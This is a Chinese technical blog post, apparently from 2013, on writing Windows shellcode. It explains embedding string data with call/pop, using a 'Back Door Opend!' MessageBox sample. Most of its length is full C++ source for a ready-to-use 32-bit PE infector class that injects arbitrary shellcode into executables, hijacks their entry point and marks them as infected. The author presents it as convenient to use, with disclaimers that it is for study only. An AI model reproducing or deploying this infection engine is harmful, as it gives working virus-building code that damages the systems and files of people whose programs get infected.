PE感染&ShellCode编写技术补充

标 题: PE感染&ShellCode编写技术补充
时 间: 2013-06-04,22:45:53

  
上篇文章写了Windows Shell Code编写的一些技术和经验,其中讲到ShellCode中使用的数据的问题时,提供了三种方法:
1. HardCode地址,然后把数据写入HardCode的地址中
2. 转化法(HASH),把数据转化成可用寄存器存储的整数
3. 把数据Push到栈中
 
这三种方法都有各自的缺点和局限性,所以本文补充一种更方便的数据处理方法: 代码和数据混合法(这里所说的数据通指字符串指针参数)
 
首先分析一下在普通的程序中字符串指针的传参本质(高手可以略过了), 
如下C语言代码:
Code:
 
int _tmain(int argc, TCHAR *argv[])
{
    char szStr[] = {"Shell Code."};
 
    printf(szStr);
 
    return 0;
}
动态执行过程中,看一下参数的传递方式,以及最终push到堆栈中参数位置内的值如下:
Click image for larger versionName:	image001.pngViews:	23Size:	312 KBID:	79599 
 
图中可知,压入的参数eax的值为一个内存地址,而这个地址就是字符串的首地址,本例中是使用了栈中的字符串数据,其他情况如全局变量,或者堆中分配等方式最终结果也都是如此,压入字符串的首地址。
 
在C语言中因为有编译器的帮助,最终可以很轻松的定位一个字符串的地址,那我们是不是想到了在shell Code中使用db数据定义伪指令来定义字符串,然后压栈数据标签的方式传递字符串参数,
这也就是数据和代码混合的方式来进行参数传递,但是并不是像想象的这么简单,来个测试:
在纯Asm代码中可以如下写:
Code:
 
    jmp run_code
szStr:
    db 'Shell Code',0
run_code:
    push szStr
    call printf
 
但是在VC的内联汇编中不能使用db伪指令,所以要如下写:
Code:
 
int _tmain(int argc, TCHAR *argv[])
{
    __asm
    {
        jmp run_code
szStr:
        _emit 'S'
        _emit 'h'
        _emit 'l'
        _emit 'l'
        _emit ' '
        _emit 'C'
        _emit 'o'
        _emit 'd'
        _emit 'e'
        _emit '.'
        _emit 0
 
run_code:
        push szStr
        call printf
    }
 
    return 0;
}
下面看一下调试运行时:
 
Click image for larger versionName:	image003.pngViews:	17Size:	276 KBID:	79600
 
可以看到这次代码就汇编成了直接把字符串的首地址作为push指令的操作数压栈了,这样这个C程序也是能正确运行的。当在次运行这个程序的时候,可以发现push指令的操作数的高两个自己会发生改变,
至于如何改变,有兴趣的可以去分析,这里了是利用了编译器为程序生成的重定位信息来进行动态改变这个操作数的高两个字节的值的,并且改变的值就是当前代码段被加载到的虚拟地址的基址。
 
如果直接把这段二进制代码提取出来,当作Shell Code,那么它能在一个Shell Code环境中正确运行么?
缺少重定位信息,毫无疑问这个地址肯定是找不到正确的数据位置的。
 
上述内容主要就是揭示一点问题: 汇编中的标号地址都是相对的,所以不能用在Shell Code中来对数据进行定位
 
到这里,离解决问题又更近了一步,现在的问题是:如何把运行时的一个绝对线性地址压入堆栈,更具体一点,如何把一个代码段中的地址(实际上内容是数据)压入堆栈?
 
很明了了,Call指令具有这一功能,因为每次Call一个函数的时候其内部操作都会把紧跟call指令的下一条指令的绝对地址压入堆栈!
听起来很有违常理,但是 写Shell Code的时候确实需要灵活的运用每一条指令,比如可以用ret指令来代替jmp指令,再比如这里使用call指令来代替push指令
下面就来实现一下这种代码数据混合传参的方式:
先看C内联的写法:
Code:
 
int _tmain(int argc, TCHAR *argv[])
{
    __asm
    {
        call run_code
szStr:
        _emit 'S'
        _emit 'h'
        _emit 'e'
        _emit 'l'
        _emit 'l'
        _emit ' '
        _emit 'C'
        _emit 'o'
        _emit 'd'
        _emit 'e'
        _emit '.'
        _emit 0
 
run_code:
        call printf
    }
 
    return 0;
}
 
再看纯asm的写法:
Code:
 
    call run_code
szStr:
    db 'Shell Code',0
run_code:
    ;push szStr   感谢 38楼alvasli同学指出这里的手误。 
    call printf
 
运行时的情形如下,当执行到call指令的时候可以看见szStr的地址已经被压入栈了。
Click image for larger versionName:	image005.pngViews:	10Size:	293 KBID:	79601
 
 
给出一个MessageBox函数的调用传参方法
Code:
 
            call _push_text
            db "Back Door Opend!", 0
        _push_text:
            pop edi
            call _push_caption
            db 'HA...', 0
        _push_caption:
            pop esi
 
            push 00000040h
            push esi
            push edi
            push 0
            call eax ;MessageBoxA
如上代码就可以轻松实现字符串数据的存储和传参,不依赖任何绝对地址。
但是,这样写的话会使源码中出现大量的标号,很不方便,不过幸运的是纯ASM提供了匿名标号的,上述可以改写成更加简洁的写法
 
Code:
 
            call @f
            db "Back Door Opend!", 0
        @@:
            pop edi
            call @f
            db 'HA...', 0
        @@:
            pop esi
 
            push 00000040h
            push esi
            push edi
            push 0
            call eax ;MessageBoxA
 
这样就可以省去很多去写不同标号的力气了,不幸的是匿名标号在内联汇编中是不被支持的,所以写Shell Code,还是选择纯汇编环境吧。
 
总结这种传参的方式:
Code:
 
        call @f
            db "Your string data here", 0
        @@:
 
最后送上一个32位PE感染的代码,论坛里类似功能代码不少,不过几乎没有做到可以直接使用的,很多都是给了个感染程序的代码,逻辑和UI混杂很是蛋疼,
所以就封装了一个C++类,采用singleton模式,对外提供一个接口,觉得没技术含量的可以评价下代码风格吧。
Code:
 
    // Method: Infect
    // FullName: CPE32Infector::Infect
    // Access: public 
    // Returns: BOOL
    // Qualifier:
    // Parameter: LPCTSTR lpFileName        目标文件路径
    // Parameter: LPVOID lpShellCode        Shell Code Buffer
    // Parameter: DWORD nLength                Shell Code 长度
    // Parameter: InfectMethod method        可选参数:感染方式
    //************************************
Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength, InfectMethod method)
 
感染方式有两种,一种是新建section,一种是选择可用空间最大的Section把ShllCode插入
多Section间隙感染方式要么对ShellCode有要求,要么需要分析Shell Code的字节码,所以就没有提供这种方式。
如果不指定感染方式,则先尝试插入Section可用空间,如果失败则再尝试新建Section
 
使用非常方便:
Code:
 
#include "PE32Infector.h"
int _tmain(int argc, _TCHAR* argv[])
{
    CPE32Infector * pInfector = CPE32Infector::GetInstance();
 
    pInfector->Infect(_T("F:\\xxxx.exe"), hexData, 348);
 
    return 0;
}
 
免责声明:仅供交流学习,请勿滥用,使用本代码带来的任何后果与本人无关。。。。。。。
 
Code:
 
/********************************************************************
    created:    2013/05/25
    created:    25:5:2013 10:04
    filename:     PEInfector.h
    file base:    PEInfector
    file ext:    h
    author:        tishion
 
purpose:    
    Definition of PE32infector 
    while this class working for infecting, it 
    1.read the original PE files
    2.check the watermark
    3.make sure the size is sufficient
    4.get information for infecting
    5.do infecting
 
免责声明:
    该源代码所实现的功能有一定的破坏性,仅供学习交流之用
    请勿将该源代码用于开发病毒木马等恶意程序
    请勿二次传播此源代码
    使用该源代码造成的任何破坏和损失,与本人无关
*********************************************************************/
#pragma once
 
#define WARTER_MARK_STRING_LENGTH 128
 
class CPE32Infector
{
public:
    // 感染方式新建Section 或者插入Section间隙
    enum InfectMethod
    {
        INFECT_METHORD_CREATENEWSECTION,
        INFECT_METHORD_ADDTOSECTIONGAPS
    };
 
    // 错误码
    enum ErrorCode
    {
        INFECT_EC_OK,
        INFECT_EC_FAILED_OPENFILE,
        INFECT_EC_FAILED_CREATEFILEMAPPING,
        INFECT_EC_FAILED_MAPVIEWOFFILE,
        INFECT_EC_FAILED_FLUSHFILE,
        INFECT_EC_FAILED_ENLARGEFILE,
        INFECT_EC_FAILED_WRITESHELLCODE, 
        INFECT_EC_FAILED_UNKNOWNMETHOD, 
        INFECT_EC_FAILED_INSUFFICIENTSPACE,
        INFECT_EC_INVALID_FILEMAPPINGBUFFER,
        INFECT_EC_INVALID_PE_FORMAT,
        INFECT_EC_INFECTED_ALREADY,
        INFECT_EC_INVALID_SHELLCODE,
    };
 
    // 外部暴露接口
 
    // 获取实例
    static CPE32Infector * GetInstance();
 
    // 使用lpShellCode指向的ShellCode感染lpFileName指向的目标文件,自动选择感染方式
    BOOL Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength);
 
    // 按照指定的感染方式使用lpShellCode指向的ShellCode感染lpFileName指向的目标文件
    BOOL Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength, InfectMethod method);
 
    // 获取错误代码
    DWORD GetLastErrorcode();
 
    // 获取错误信息描述
    LPCTSTR GetLastErrorMessage();
 
protected:
    // 构造函数
    CPE32Infector(void);
    ~CPE32Infector(void);
 
    // 保存PE中可用空间信息的结构
    class AvilableSpace
    {
    public:
        DWORD dwBase;
        DWORD dwSize;
    };
 
private:
    static char*                    m_pWaterMark;
 
    static HANDLE                    m_hFile;
    static HANDLE                    m_hFileMapping;
    static LPVOID                    m_lpFileMappingBuffer;
 
    static PIMAGE_DOS_HEADER        m_pImageDosHeader;
    static PIMAGE_NT_HEADERS32        m_pImageNtHeader;
    static PIMAGE_SECTION_HEADER    m_pImageSectionHeader;
 
    static DWORD                    m_dwErrorCode;
 
    static AvilableSpace            m_SectionHeaderAvilable;
    static vector<AvilableSpace>    m_vecSectionAvilable;
    static DWORD                    m_dwMaxAvilableIndex;
 
    // 内部方法
protected:
    void _InternalCleanAndReset();
    BOOL _OpenAndMapFile(LPCTSTR lpFileName);
    BOOL _ValidatePEFormat();
    BOOL _CheckWaterMark();
 
    void _GetInformationForInfecting();
 
    BOOL InfectByAddingToSectionGaps(LPVOID lpShellCode, DWORD nLength);
    BOOL InfectByCreatingNewSection(LPVOID lpShellCode, DWORD nLength);
 
    void _InternalSetLastErrorCode(ErrorCode ec);
};
 
 
 
Code:
 
/********************************************************************
    created:    2013/05/25
    created:    25:5:2013 10:08
    filename:     PEInfector.cpp
    file base:    PEInfector
    file ext:    cpp
    author:        tishion
 
purpose:
    Implementation of PEInfector
 
免责声明:
    该源代码所实现的功能有一定的破坏性,仅供学习交流之用
    请勿将该源代码用于开发病毒木马等恶意程序
    请勿二次传播此源代码
    使用该源代码造成的任何破坏和损失,与本人无关
*********************************************************************/
#include "StdAfx.h"
#include <Windows.h>
#include "PE32Infector.h"
 
#define RELEASE_HANDLE(h) do \
{ \
    if (NULL != h && INVALID_HANDLE_VALUE != h) \
    { \
        CloseHandle(h); \
        h = NULL; \
    } \
} while (0)                                 //;    感谢21楼ybhdgggset帮忙之处这里的错误,最好不要加分号 
 
char*    
CPE32Infector::m_pWaterMark = "iNfected by T$.";        // 包括最后的null结束符不能超过个字节
 
HANDLE    
CPE32Infector::m_hFile = NULL;
 
HANDLE    
CPE32Infector::m_hFileMapping = NULL;
 
LPVOID    
CPE32Infector::m_lpFileMappingBuffer = NULL;
 
PIMAGE_DOS_HEADER
CPE32Infector::m_pImageDosHeader = NULL;
 
PIMAGE_NT_HEADERS32
CPE32Infector::m_pImageNtHeader = NULL;
 
PIMAGE_SECTION_HEADER
CPE32Infector::m_pImageSectionHeader = NULL;
 
DWORD
CPE32Infector::m_dwErrorCode = CPE32Infector::INFECT_EC_OK;
 
DWORD
CPE32Infector::m_dwMaxAvilableIndex = 0;
 
CPE32Infector::AvilableSpace 
CPE32Infector::m_SectionHeaderAvilable;
 
vector<CPE32Infector::AvilableSpace> 
CPE32Infector::m_vecSectionAvilable;
 
 
CPE32Infector::CPE32Infector(void)
{
}
 
CPE32Infector::~CPE32Infector(void)
{
    _InternalCleanAndReset();
}
 
CPE32Infector * CPE32Infector::GetInstance()
{
    static CPE32Infector instance;
    return &instance;
}
 
BOOL CPE32Infector::Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
    _InternalCleanAndReset();
 
    BOOL bRet = FALSE;
 
    // shell code 不足个字节,无法写入jmp到oep的指令,视为不合法的shellcode
    if (NULL == lpShellCode || nLength < 5)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_SHELLCODE);
        return bRet;
    }
 
    // 打开文件并映射 && PE校验 && 检查感染水印
    if (_OpenAndMapFile(lpFileName) && _ValidatePEFormat() && _CheckWaterMark())
    {
        // 获取PE基本信息
        _GetInformationForInfecting();
 
        if (m_vecSectionAvilable[m_dwMaxAvilableIndex].dwSize >= nLength)
        {// 尝试使用插入Section间隙的方法
            bRet = InfectByAddingToSectionGaps(lpShellCode, nLength);
        }
        else
        if (m_SectionHeaderAvilable.dwSize >= sizeof(IMAGE_SECTION_HEADER))
        {// 尝试使用新建Section的方法
            bRet = InfectByCreatingNewSection(lpShellCode, nLength);
        }
        else
        {
            // 以上方法均无足够空间
            _InternalSetLastErrorCode(INFECT_EC_FAILED_INSUFFICIENTSPACE);
            bRet = FALSE;
        }
    }
 
    _InternalCleanAndReset();
    return bRet;
}
 
BOOL CPE32Infector::Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength, InfectMethod method)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
    _InternalCleanAndReset();
 
    BOOL bRet = FALSE;
 
    // shell code 不足个字节,无法写入jmp到oep的指令,视为不合法的shellcode
    if (NULL == lpShellCode || nLength < 5)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_SHELLCODE);
        return bRet;
    }
 
    // 打开文件并映射 && PE校验 && 检查感染水印
    if (_OpenAndMapFile(lpFileName) && _ValidatePEFormat() && _CheckWaterMark())
    {
        // 获取PE基本信息
        _GetInformationForInfecting();
 
        if (INFECT_METHORD_ADDTOSECTIONGAPS == method)
        {
            if (m_vecSectionAvilable[m_dwMaxAvilableIndex].dwSize >= nLength)
            {
                bRet = InfectByAddingToSectionGaps(lpShellCode, nLength);
            }
            else
            {
                _InternalSetLastErrorCode(INFECT_EC_FAILED_INSUFFICIENTSPACE);
                bRet = FALSE;
            }
        }
        else
        if (INFECT_METHORD_CREATENEWSECTION == method)
        {
            if (m_SectionHeaderAvilable.dwSize >= sizeof(IMAGE_SECTION_HEADER))
            {
                bRet = InfectByCreatingNewSection(lpShellCode, nLength);
            }
            else
            {
                _InternalSetLastErrorCode(INFECT_EC_FAILED_INSUFFICIENTSPACE);
                bRet = FALSE;
            }
        }
        else
        {
            _InternalSetLastErrorCode(INFECT_EC_FAILED_UNKNOWNMETHOD);
            bRet = FALSE;
        }
    }
 
    _InternalCleanAndReset();
    return bRet;
}
 
void CPE32Infector::_InternalCleanAndReset()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    if (m_lpFileMappingBuffer)
    {
        ::UnmapViewOfFile(m_lpFileMappingBuffer);
        m_lpFileMappingBuffer = NULL;
    }
 
    RELEASE_HANDLE(m_hFileMapping);
    RELEASE_HANDLE(m_hFile);
    m_pImageDosHeader                = NULL;
    m_pImageNtHeader                = NULL;
    m_pImageSectionHeader            = NULL;
    m_SectionHeaderAvilable.dwBase    = 0;
    m_SectionHeaderAvilable.dwSize    = 0;
    m_dwMaxAvilableIndex            = 0;
    m_vecSectionAvilable.clear();
 
    return;
}
 
BOOL CPE32Infector::_OpenAndMapFile(LPCTSTR lpFileName)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    // 打开目标文件
    m_hFile = ::CreateFile(
        lpFileName, 
        FILE_ALL_ACCESS, 
        FILE_SHARE_READ | FILE_SHARE_WRITE, 
        NULL, 
        OPEN_EXISTING, 
        FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_SYSTEM, 
        NULL);
 
    if (INVALID_HANDLE_VALUE == m_hFile)
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_OPENFILE);
        return FALSE;
    }
 
    // 创建内存文件映射
    m_hFileMapping = ::CreateFileMapping(
        m_hFile, 
        NULL, 
        PAGE_READWRITE, 
        0, 0, 
        NULL);
 
    if (NULL == m_hFileMapping)
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_CREATEFILEMAPPING);
        RELEASE_HANDLE(m_hFile);
        return FALSE;
    }
 
    // 映射整个文件到内存
    m_lpFileMappingBuffer = ::MapViewOfFile(
        m_hFileMapping, 
        FILE_MAP_ALL_ACCESS, 
        0, 0, 0);
 
    if (NULL == m_lpFileMappingBuffer)
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_MAPVIEWOFFILE);
        RELEASE_HANDLE(m_hFileMapping);
        RELEASE_HANDLE(m_hFile);
        return FALSE;
    }
 
    return TRUE;
}
 
#define OPTIONAL_HEADER_SIZE32 0xE0
BOOL CPE32Infector::_ValidatePEFormat()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    DWORD dwE_lfanew = 0;
    DWORD dwNtHeader = 0;
    DWORD dwFileSize = 0;
 
    if (NULL == m_lpFileMappingBuffer)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_FILEMAPPINGBUFFER);
        return FALSE;
    }
 
    // 检查文件大小
    dwFileSize = GetFileSize(m_hFile, NULL);
    if (INVALID_FILE_SIZE == dwFileSize || 
        dwFileSize < (sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS32)))
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_FILEMAPPINGBUFFER);
        return FALSE;
    }
 
    // 对比MZ签名
    m_pImageDosHeader = (PIMAGE_DOS_HEADER)(m_lpFileMappingBuffer);
    if (IMAGE_DOS_SIGNATURE != m_pImageDosHeader->e_magic)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_PE_FORMAT);
        return FALSE;
    }
 
    // 对比PE签名
    dwE_lfanew = m_pImageDosHeader->e_lfanew;
    dwNtHeader = (DWORD)(m_lpFileMappingBuffer) + dwE_lfanew;
    m_pImageNtHeader = (PIMAGE_NT_HEADERS)(LPVOID)(dwNtHeader);
    if (IMAGE_NT_SIGNATURE != m_pImageNtHeader->Signature)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_PE_FORMAT);
        return FALSE;
    }
 
    // 对比SizeOfOptionalHeader
    if (m_pImageNtHeader->FileHeader.SizeOfOptionalHeader != OPTIONAL_HEADER_SIZE32)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_PE_FORMAT);
        return FALSE;
    }
 
    m_pImageSectionHeader = IMAGE_FIRST_SECTION(m_pImageNtHeader);
 
    return TRUE;
}
 
BOOL CPE32Infector::_CheckWaterMark()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    if (NULL == m_pImageDosHeader)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_FILEMAPPINGBUFFER);
        return FALSE;
    }
 
    LPVOID pFileSig = (LPVOID)(m_pImageDosHeader->e_res2);
 
    if (0 == memcmp(pFileSig, m_pWaterMark, strlen(m_pWaterMark)+1))
    {
        _InternalSetLastErrorCode(INFECT_EC_INFECTED_ALREADY);
        return FALSE;
    }
 
    return TRUE;;
}
 
void CPE32Infector::_GetInformationForInfecting()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    // 计算节表中的可用空间
    DWORD dwAllSectionHeaderSize 
        = m_pImageNtHeader->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);
 
    m_SectionHeaderAvilable.dwSize = m_pImageNtHeader->OptionalHeader.SizeOfHeaders 
        - ((DWORD)m_pImageSectionHeader - (DWORD)m_pImageDosHeader) - dwAllSectionHeaderSize;
 
    m_SectionHeaderAvilable.dwBase = (DWORD)m_pImageSectionHeader + dwAllSectionHeaderSize;
 
    // 计算每一个节中的可用空间
    m_dwMaxAvilableIndex = 0;
    for (int i=0; i<m_pImageNtHeader->FileHeader.NumberOfSections; i++)
    {
        AvilableSpace as;
        if (m_pImageSectionHeader[i].SizeOfRawData > m_pImageSectionHeader[i].Misc.VirtualSize)
        {
            as.dwSize = m_pImageSectionHeader[i].SizeOfRawData - m_pImageSectionHeader[i].Misc.VirtualSize;
        }
        else
        {
            as.dwSize = 0;
        }
 
        as.dwBase = (DWORD)m_pImageDosHeader + m_pImageSectionHeader[i].PointerToRawData 
            + m_pImageSectionHeader[i].Misc.VirtualSize;
 
        m_vecSectionAvilable.push_back(as);
 
        if (m_vecSectionAvilable[i].dwSize > m_vecSectionAvilable[m_dwMaxAvilableIndex].dwSize)
        {
            m_dwMaxAvilableIndex = i;
        }
    }
 
    return ;
}
 
BOOL CPE32Infector::InfectByAddingToSectionGaps(LPVOID lpShellCode, DWORD nLength)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    RtlCopyMemory((PVOID)m_vecSectionAvilable[m_dwMaxAvilableIndex].dwBase, lpShellCode, nLength);
 
    // 修改该段属性
    DWORD dwNewCharacteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
    m_pImageSectionHeader[m_dwMaxAvilableIndex].Characteristics |= dwNewCharacteristics;
 
    // 修改EP
    DWORD dwOriginalEntryPoint = m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint;
    DWORD dwNewEntryPoint = m_pImageSectionHeader[m_dwMaxAvilableIndex].VirtualAddress 
        + m_pImageSectionHeader[m_dwMaxAvilableIndex].Misc.VirtualSize;
    m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint;
 
    // 修改该段的VirtualSize
    m_pImageSectionHeader[m_dwMaxAvilableIndex].Misc.VirtualSize += nLength;
 
    // 计算原始OEP和ShellCode中的jmp指令的系一条指令的虚拟地址相对偏移量
    DWORD dwVirtualAddressOfJmp = m_pImageSectionHeader[m_dwMaxAvilableIndex].VirtualAddress 
        + m_pImageSectionHeader[m_dwMaxAvilableIndex].Misc.VirtualSize;
    DWORD dwJmpOprand = dwOriginalEntryPoint - dwVirtualAddressOfJmp;
 
    // 把jmp OEP 写入ShellCode结尾
    DWORD * pJmpOprand = (DWORD*)(m_vecSectionAvilable[m_dwMaxAvilableIndex].dwBase + nLength - 4);
    *pJmpOprand = dwJmpOprand;
 
    // 写入感染水印
    RtlCopyMemory((LPVOID)(m_pImageDosHeader->e_res2), m_pWaterMark, strlen(m_pWaterMark)+1);
 
    if (FALSE == ::FlushViewOfFile(m_lpFileMappingBuffer, 0))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_FLUSHFILE);
        return FALSE;
    }
 
    return TRUE;
}
 
BOOL CPE32Infector::InfectByCreatingNewSection(LPVOID lpShellCode, DWORD nLength)
{
    DWORD dwFileAlignment = m_pImageNtHeader->OptionalHeader.FileAlignment;
    DWORD dwSectionAlignment = m_pImageNtHeader->OptionalHeader.SectionAlignment;
 
    PIMAGE_SECTION_HEADER pLastSectionHeader = &(m_pImageSectionHeader[m_pImageNtHeader->FileHeader.NumberOfSections - 1]);
    PIMAGE_SECTION_HEADER pNewSectionHeader = &(m_pImageSectionHeader[m_pImageNtHeader->FileHeader.NumberOfSections]);
    ::ZeroMemory(pNewSectionHeader, sizeof(IMAGE_SECTION_HEADER));
 
    //DWORD dwNewVirtualAddress = pLastSectionHeader->VirtualAddress 
    //    + (((pLastSectionHeader->Misc.VirtualSize - 1) / dwSectionAlignment) + 1) * dwSectionAlignment;
    // 或者
    DWORD dwNewVirtualAddress = m_pImageNtHeader->OptionalHeader.SizeOfImage;
 
    DWORD dwOriginalEntryPoint = m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint;
    DWORD dwNewEntryPoint = dwNewVirtualAddress;
    DWORD dwSizeOfRawData = (((nLength - 1) / dwFileAlignment) + 1) * dwFileAlignment;
 
    char * pNewSectionName = ".tssc";
    strncpy_s((char *)(pNewSectionHeader->Name), ARRAYSIZE(pNewSectionHeader->Name), pNewSectionName, strlen(pNewSectionName));
 
    pNewSectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pNewSectionHeader->Misc.VirtualSize = nLength;
    pNewSectionHeader->VirtualAddress = dwNewVirtualAddress;
 
    pNewSectionHeader->PointerToRawData = pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData;
    pNewSectionHeader->SizeOfRawData = dwSizeOfRawData;
 
 
    // 修改IMAGE_NT_HEADER相关字段
    m_pImageNtHeader->FileHeader.NumberOfSections += 1;
    m_pImageNtHeader->OptionalHeader.SizeOfCode += pNewSectionHeader->SizeOfRawData;
    m_pImageNtHeader->OptionalHeader.SizeOfImage += (((pNewSectionHeader->Misc.VirtualSize - 1) / dwSectionAlignment) + 1) * dwSectionAlignment;
    m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint;
 
    if (FALSE == ::FlushViewOfFile(m_lpFileMappingBuffer, 0))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_FLUSHFILE);
        return FALSE;
    }
 
    // 计算原始OEP和ShellCode中的jmp指令的系一条指令的虚拟地址相对偏移量
    DWORD dwVirtualAddressOfJmp = dwNewVirtualAddress + nLength;
    DWORD dwJmpOprand = dwOriginalEntryPoint - dwVirtualAddressOfJmp;
 
    // 写入感染水印
    RtlCopyMemory((LPVOID)(m_pImageDosHeader->e_res2), m_pWaterMark, strlen(m_pWaterMark)+1);
 
    ::UnmapViewOfFile(m_lpFileMappingBuffer);
    m_lpFileMappingBuffer = NULL;
    RELEASE_HANDLE(m_hFileMapping);
 
    // 扩大文件
    if (INVALID_SET_FILE_POINTER == ::SetFilePointer(m_hFile, dwSizeOfRawData, NULL, FILE_END) || 
        FALSE == ::SetEndOfFile(m_hFile) ||
        INVALID_SET_FILE_POINTER == ::SetFilePointer(m_hFile, 0-dwSizeOfRawData, NULL, FILE_END))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_ENLARGEFILE);
        return FALSE;
    }
 
    // 写入ShellCode
    DWORD dwBytesWritten;
    if (FALSE == ::WriteFile(m_hFile, lpShellCode, nLength, &dwBytesWritten, NULL) ||
        INVALID_SET_FILE_POINTER == ::SetFilePointer(m_hFile, -4, NULL, FILE_CURRENT) ||
        FALSE == ::WriteFile(m_hFile, &dwJmpOprand, sizeof(DWORD), &dwBytesWritten, NULL))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_WRITESHELLCODE);
        return FALSE;
    }
 
    return TRUE;
}
 
//
// 错误码辅助函数
void CPE32Infector::_InternalSetLastErrorCode(ErrorCode ec)
{
    m_dwErrorCode = ec;
    return ;
}
 
DWORD CPE32Infector::GetLastErrorcode()
{
    return m_dwErrorCode;
}
 
LPCTSTR CPE32Infector::GetLastErrorMessage()
{
    // 暂时未实现
 
    return NULL;
}

         
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值